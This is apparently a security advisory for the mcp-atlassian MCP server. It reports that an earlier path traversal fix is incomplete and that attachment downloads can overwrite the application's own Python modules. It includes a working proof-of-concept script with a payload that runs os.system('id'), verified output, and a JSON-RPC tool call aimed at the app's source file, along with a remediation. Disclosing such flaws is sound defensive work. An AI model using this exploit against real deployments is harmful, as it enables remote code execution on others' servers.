GHSA-6vmq-24h2-pj7j: Path Traversal
Summary
The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validatesafepath() is called without an explicit basedir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).
Details
src/mcpatlassian/utils/io.py — validatesafepath() defaults to CWD when no basedir is supplied:
python def validatesafepath(path, basedir=None) -> Path: if basedir is None: basedir = os.getcwd() # root of the issue resolvedbase = Path(basedir).resolve(strict=False) ... if not resolvedpath.isrelativeto(resolvedbase): raise ValueError("Path traversal detected")
Both call sites in src/mcpatlassian/confluence/attachments.py omit basedir:
python validatesafepath(targetpath) # line ~227, downloadattachment() validatesafepath(targetdir) # line ~270, downloadcontentattachments()
When the process CWD is /app, any path under /app satisfies isrelativeto(CWD) and passes the guard, including all Python source modules:
/app/src/mcpatlassian/confluence/attachments.py -> passes, no exception /app/src/mcpatlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception
PoC
Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.
The script imports validatesafepath directly from the installed package, not a simulation of the function.
python pocbypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcpatlassian.utils.io import validatesafepath # real package
print(f"Module: {validatesafepath.module}")
Simulate /app (standard container CWD) appdir = tempfile.mkdtemp(prefix="mcpatlassianapp") moduledir = os.path.join(appdir, "src", "mcpatlassian") os.makedirs(moduledir) modulepath = os.path.join(moduledir, "attachments.py") Path(modulepath).writetext('def getsecret(): return "LEGITIMATE"\n') os.chdir(appdir)
Control: classic traversal is blocked try: validatesafepath("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")
Bypass: intra-CWD path passes without exception result = validatesafepath(modulepath) print(f"[BYPASS] {result} - no exception raised")
Overwrite module with attacker payload (content sourced from a Confluence attachment uploaded by the attacker) Path(modulepath).writebytes( b"import os\nPWNED=True\n" b"def getsecret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")
Simulate process restart / module reload spec = importlib.util.specfromfilelocation("m", modulepath) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) # os.system('id') executes here
print(f"[RCE] getsecret() = {repr(mod.getsecret())}") print(f"[RCE] PWNED = {mod.PWNED}")
shutil.rmtree(appdir)
bash uvx --from mcp-atlassian python pocbypass.py
Verified output (mcp-atlassian 0.21.0):
Module: mcpatlassian.utils.io
[OK] /etc/passwd blocked [BYPASS] /tmp/mcpatlassianapp.../src/mcpatlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] getsecret() = 'PWNED' [RCE] PWNED = True
Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:
json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluencedownloadattachment", "arguments": { "pageid": "<pageid>", "attachmentid": "<maliciousattachmentid>", "downloadpath": "/app/src/mcpatlassian/confluence/attachments.py" } } }
validatesafepath does not raise. The module is overwritten and the payload executes on the next process restart.
Impact
Affected versions: 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.
Suggested fix: pass a dedicated, explicitly configured directory as basedir instead of relying on CWD:
python DOWNLOADBASE = Path( os.environ.get("MCPDOWNLOADDIR", "/tmp/mcp-downloads") ).resolve()
validatesafepath(targetpath, basedir=DOWNLOADBASE)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Configuration
Pass a dedicated, explicitly configured directory as base_dir to validate_safe_path at both attachment download call sites instead of relying on the current working directory.
mcp_atlassian.utils.io.validate_safe_path call sites in confluence/attachments.py base_dir = A dedicated, explicitly configured download directory
Event History
Frequently Asked Questions
Are standard container deployments exposed by the default path validation behavior?
Yes. When the process working directory is the application directory, as is typical in standard container deployments, paths inside that directory pass validation because the omitted base_dir defaults to the current working directory.
What must an attacker do to obtain code execution?
The attacker must overwrite an application Python module through an affected attachment path operation. Code execution occurs when the process next restarts and loads the modified module.
Which releases should be treated as not fully fixed?
Versions 0.17.0 and later should not be assumed fully patched based on the earlier traversal fix. The issue was confirmed on version 0.21.0, identified as the latest version in the advisory.